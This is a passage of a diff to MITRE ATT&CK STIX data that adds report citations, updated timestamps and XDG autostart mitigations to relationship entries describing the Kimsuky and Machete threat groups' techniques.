"description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a PowerShell-based keylogger.(Citation: EST Kimsuky April 2019)(Citation: Securelist Kimsuky Sept 2013)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a PowerShell-based keylogger.(Citation: EST Kimsuky April 2019)(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "id": "relationship--a70ec2cc-5eeb-41c3-8dd3-2816a9010104", "type": "relationship", - "modified": "2020-03-16T20:10:12.185Z", + "modified": "2020-11-06T18:02:10.759Z", "created": "2019-08-26T15:27:12.987Z" }, { @@ -155759,13 +157259,18 @@ "source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a modified TeamViewer client as a command and control channel.(Citation: Securelist Kimsuky Sept 2013)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a modified TeamViewer client as a command and control channel.(Citation: Securelist Kimsuky Sept 2013)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--4fc9c0a5-952f-4726-8c53-39fbf40a67e3", "type": "relationship", - "modified": "2019-10-07T17:53:44.476Z", + "modified": "2020-12-22T17:59:54.261Z", "created": "2019-08-26T15:27:12.991Z" }, { @@ -155782,11 +157287,11 @@ "source_name": "Zdnet Kimsuky Dec 2018" } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a Google Chrome extension to infect victims and steal passwords and cookies from their browsers.(Citation: Zdnet Kimsuky Dec 2018)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used Google Chrome browser extensions to infect victims and to steal passwords and cookies.(Citation: Zdnet Kimsuky Dec 2018)", "relationship_type": "uses", "id": "relationship--4c142924-33e7-4920-b1c7-9259d08fbb6e", "type": "relationship", - "modified": "2019-08-27T15:32:50.396Z", + "modified": "2020-11-05T15:54:26.212Z", "created": "2019-08-26T15:27:13.005Z" }, { @@ -155822,13 +157327,18 @@ "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/", "source_name": "Zdnet Kimsuky Dec 2018" + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a Google Chrome extension to steal passwords and cookies from their browsers.(Citation: Zdnet Kimsuky Dec 2018)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used browser extensions including Google Chrome to steal passwords and cookies from browsers.(Citation: Zdnet Kimsuky Dec 2018)(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "id": "relationship--b6d8f711-8b5f-4b5e-82c4-abf144223c55", "type": "relationship", - "modified": "2020-03-25T17:51:11.537Z", + "modified": "2020-11-05T14:39:23.081Z", "created": "2019-08-26T15:27:13.021Z" }, { @@ -155840,16 +157350,21 @@ "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "external_references": [ { - "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "source_name": "EST Kimsuky April 2019", "url": "https://blog.alyac.co.kr/2234", - "source_name": "EST Kimsuky April 2019" + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019." + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has executed a variety of PowerShell scripts.(Citation: EST Kimsuky April 2019)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has executed a variety of PowerShell scripts.(Citation: EST Kimsuky April 2019)(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "id": "relationship--c2379d5f-4d8d-4eaa-b966-bf31b227f5e3", "type": "relationship", - "modified": "2019-08-27T15:32:50.399Z", + "modified": "2020-11-05T14:39:23.011Z", "created": "2019-08-26T15:27:13.040Z" }, { @@ -155906,13 +157421,23 @@ "source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019." + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has placed scripts in the startup folder for persistence.(Citation: Securelist Kimsuky Sept 2013)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has placed scripts in the startup folder for persistence.(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--c5ae9551-e756-4b8b-9b78-515eba60acf5", "type": "relationship", - "modified": "2019-08-27T15:32:50.480Z", + "modified": "2020-12-22T17:59:54.537Z", "created": "2019-08-26T15:27:13.046Z" }, { @@ -156011,13 +157536,18 @@ "source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019." + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has created new services for persistence.(Citation: Securelist Kimsuky Sept 2013)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has created new services for persistence.(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "id": "relationship--c899111b-c3ae-4760-b87f-fce9f21af1f2", "type": "relationship", - "modified": "2019-08-27T15:32:50.475Z", + "modified": "2020-11-05T14:39:23.341Z", "created": "2019-08-26T15:27:13.071Z" }, { @@ -156142,16 +157672,16 @@ "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "external_references": [ { - "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "source_name": "EST Kimsuky April 2019", "url": "https://blog.alyac.co.kr/2234", - "source_name": "EST Kimsuky April 2019" + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019." } ], "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used an email containing a link to a document that contained malicious macros.(Citation: EST Kimsuky April 2019)", "relationship_type": "uses", "id": "relationship--0f7756fb-ea96-4d3a-9a23-a0f0a326de63", "type": "relationship", - "modified": "2019-08-27T15:32:50.469Z", + "modified": "2020-11-05T15:01:15.991Z", "created": "2019-08-27T13:11:10.528Z" }, { @@ -156592,6 +158122,34 @@ "modified": "2020-10-22T18:35:58.511Z", "created": "2019-09-10T14:30:31.699Z" }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", + "relationship_type": "mitigates", + "id": "relationship--5dcc5947-375c-4b73-867b-5beb6e333c69", + "description": "Restrict write access to XDG autostart entries to only select privileged users.", + "type": "relationship", + "modified": "2020-11-10T15:55:10.234Z", + "created": "2019-09-10T18:20:12.926Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", + "relationship_type": "mitigates", + "id": "relationship--884d34c0-8423-484f-8151-e158831d6531", + "description": "Limit privileges of user accounts so only authorized privileged users can create and modify XDG autostart entries.", + "type": "relationship", + "modified": "2020-11-10T15:55:10.302Z", + "created": "2019-09-10T18:20:12.921Z" + }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -156664,21 +158222,26 @@ "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "external_references": [ { - "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", - "source_name": "Securelist Machete Aug 2014" + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." }, { - "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", - "source_name": "ESET Machete July 2019" + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": " [Machete](https://attack.mitre.org/groups/G0095) has delivered spearphishing emails that contain a zipped file with malicious contents.(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)", + "description": " [Machete](https://attack.mitre.org/groups/G0095) has delivered spearphishing emails that contain a zipped file with malicious contents.(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--bd3926e9-9c91-43f2-913d-16a7e94cc0ae", "type": "relationship", - "modified": "2019-10-15T21:03:07.635Z", + "modified": "2020-11-23T22:19:46.843Z", "created": "2019-09-13T12:51:46.241Z" }, { @@ -156716,144 +158279,28 @@ "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "external_references": [ { - "source_name": "Cylance Machete Mar 2017", + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019." + "source_name": "Cylance Machete Mar 2017" + }, + { + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) used multiple compiled Python scripts on the victim\u2019s system.(Citation: Cylance Machete Mar 2017)", + "description": "[Machete](https://attack.mitre.org/groups/G0095) used multiple compiled Python scripts on the victim\u2019s system. [Machete](https://attack.mitre.org/groups/G0095)'s main backdoor [Machete](https://attack.mitre.org/software/S0409) is also written in Python.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--532feb00-b2ba-4cf6-81e8-57750d30b039", "type": "relationship", - "modified": "2020-03-17T19:40:12.096Z", + "modified": "2020-11-23T22:19:46.882Z", "created": "2019-09-13T12:51:46.273Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", - "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "external_references": [ - { - "source_name": "Cylance Machete Mar 2017", - "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019." - } - ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) employed some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.(Citation: Cylance Machete Mar 2017)", - "relationship_type": "uses", - "id": "relationship--0cbe4b77-eb2c-4146-9576-a8ae37eb63ea", - "type": "relationship", - "modified": "2019-09-13T16:48:01.289Z", - "created": "2019-09-13T12:51:46.291Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", - "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", - "external_references": [ - { - "source_name": "Cylance Machete Mar 2017", - "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019." - } - ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) malware used FTP for C2.(Citation: Cylance Machete Mar 2017)", - "relationship_type": "uses", - "id": "relationship--cf9a83cd-391d-46ee-a413-4ef8965ba1a5", - "type": "relationship", - "modified": "2020-03-17T01:46:56.688Z", - "created": "2019-09-13T12:51:46.293Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", - "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", - "external_references": [ - { - "source_name": "Cylance Machete Mar 2017", - "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019." - } - ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) used the startup folder for persistence.(Citation: Cylance Machete Mar 2017)", - "relationship_type": "uses", - "id": "relationship--8be61265-8878-4bb3-af2b-91128b411acb", - "type": "relationship", - "modified": "2019-09-13T16:48:01.257Z", - "created": "2019-09-13T12:51:46.314Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", - "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", - "external_references": [ - { - "source_name": "Cylance Machete Mar 2017", - "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019." - } - ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) created their own directories to drop files into.(Citation: Cylance Machete Mar 2017)", - "relationship_type": "uses", - "id": "relationship--a33c38bc-e794-45b9-8bd2-b17cfeff0fee", - "type": "relationship", - "modified": "2020-03-17T00:21:14.907Z", - "created": "2019-09-13T12:51:46.316Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", - "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", - "external_references": [ - { - "source_name": "Cylance Machete Mar 2017", - "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019." - } - ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) had a module in its malware to find, encrypt, and upload files from fixed and removable drives.(Citation: Cylance Machete Mar 2017)", - "relationship_type": "uses", - "id": "relationship--7fc546f3-a761-4f48-8c36-716372f2bb11", - "type": "relationship", - "modified": "2019-09-13T16:48:01.293Z", - "created": "2019-09-13T12:51:46.319Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", - "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "external_references": [ - { - "source_name": "Cylance Machete Mar 2017", - "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019." - } - ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) used scheduled tasks for persistence.(Citation: Cylance Machete Mar 2017)", - "relationship_type": "uses", - "id": "relationship--3117cd66-61ef-4068-a185-32f5703cff58", - "type": "relationship", - "modified": "2020-03-28T21:28:33.585Z", - "created": "2019-09-13T12:51:46.312Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -156887,13 +158334,23 @@ "source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) takes photos from the computer\u2019s web camera.(Citation: Securelist Machete Aug 2014) ", + "description": "[Machete](https://attack.mitre.org/software/S0409) takes photos from the computer\u2019s web camera.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--293f103b-ab5f-46ee-b51e-c111370f3b79", "type": "relationship", - "modified": "2019-09-13T17:14:47.420Z", + "modified": "2020-11-23T22:25:18.123Z", "created": "2019-09-13T13:17:26.266Z" }, { @@ -156908,13 +158365,23 @@ "source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) captures audio from the computer\u2019s microphone.(Citation: Securelist Machete Aug 2014) ", + "description": "[Machete](https://attack.mitre.org/software/S0409) captures audio from the computer\u2019s microphone.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--86e8f395-3c57-4602-8e7c-30058d05a655", "type": "relationship", - "modified": "2019-09-13T17:14:47.448Z", + "modified": "2020-11-23T22:25:18.177Z", "created": "2019-09-13T13:17:26.292Z" }, { @@ -156925,17 +158392,22 @@ "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + }, { "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) has used pyobfuscate, zlib compression, and base64 encoding for obfuscation.(Citation: ESET Machete July 2019)", + "description": "[Machete](https://attack.mitre.org/software/S0409) has used pyobfuscate, zlib compression, and base64 encoding for obfuscation. [Machete](https://attack.mitre.org/groups/G0095) has also used some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)", "relationship_type": "uses", "id": "relationship--fdf56c06-8e42-4cb5-b6e0-a7ec55355ff6", "type": "relationship", - "modified": "2019-10-10T12:18:53.139Z", + "modified": "2020-11-20T20:11:15.294Z", "created": "2019-09-13T13:17:26.294Z" }, { @@ -156976,13 +158448,23 @@ "source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) logs keystrokes from the victim\u2019s machine.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014) ", + "description": "[Machete](https://attack.mitre.org/software/S0409) logs keystrokes from the victim\u2019s machine.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--a5c8b6af-8685-4068-8046-122bbd5f8845", "type": "relationship", - "modified": "2020-03-16T17:09:12.338Z", + "modified": "2020-11-23T22:25:18.181Z", "created": "2019-09-13T13:17:26.323Z" }, { @@ -156997,13 +158479,18 @@ "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." } ], - "description": "The different components of [Machete](https://attack.mitre.org/software/S0409) are executed by Windows Task Scheduler.(Citation: ESET Machete July 2019)", + "description": "The different components of [Machete](https://attack.mitre.org/software/S0409) are executed by Windows Task Scheduler.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)", "relationship_type": "uses", "id": "relationship--2e532de4-b002-4c2d-a37c-6d535ff090fa", "type": "relationship", - "modified": "2020-03-16T15:52:17.284Z", + "modified": "2020-11-20T20:11:15.378Z", "created": "2019-09-13T13:17:26.325Z" }, { @@ -157039,13 +158526,23 @@ "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) uses FTP for Command & Control.(Citation: ESET Machete July 2019)", + "description": "[Machete](https://attack.mitre.org/software/S0409) uses FTP for Command & Control.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--685856c8-227b-41b3-841d-9a7be6389eb9", "type": "relationship", - "modified": "2020-03-17T01:45:59.556Z", + "modified": "2020-11-23T22:25:18.185Z", "created": "2019-09-13T13:21:50.855Z" }, { @@ -157133,13 +158630,23 @@ "source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) captures screenshots.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)", + "description": "[Machete](https://attack.mitre.org/software/S0409) captures screenshots.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--fb99048f-bb37-47be-b2a5-d03d9ff087f1", "type": "relationship", - "modified": "2019-10-10T12:18:53.300Z", + "modified": "2020-11-23T22:25:18.435Z", "created": "2019-09-13T13:21:50.867Z" }, { @@ -157238,13 +158745,18 @@ "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } 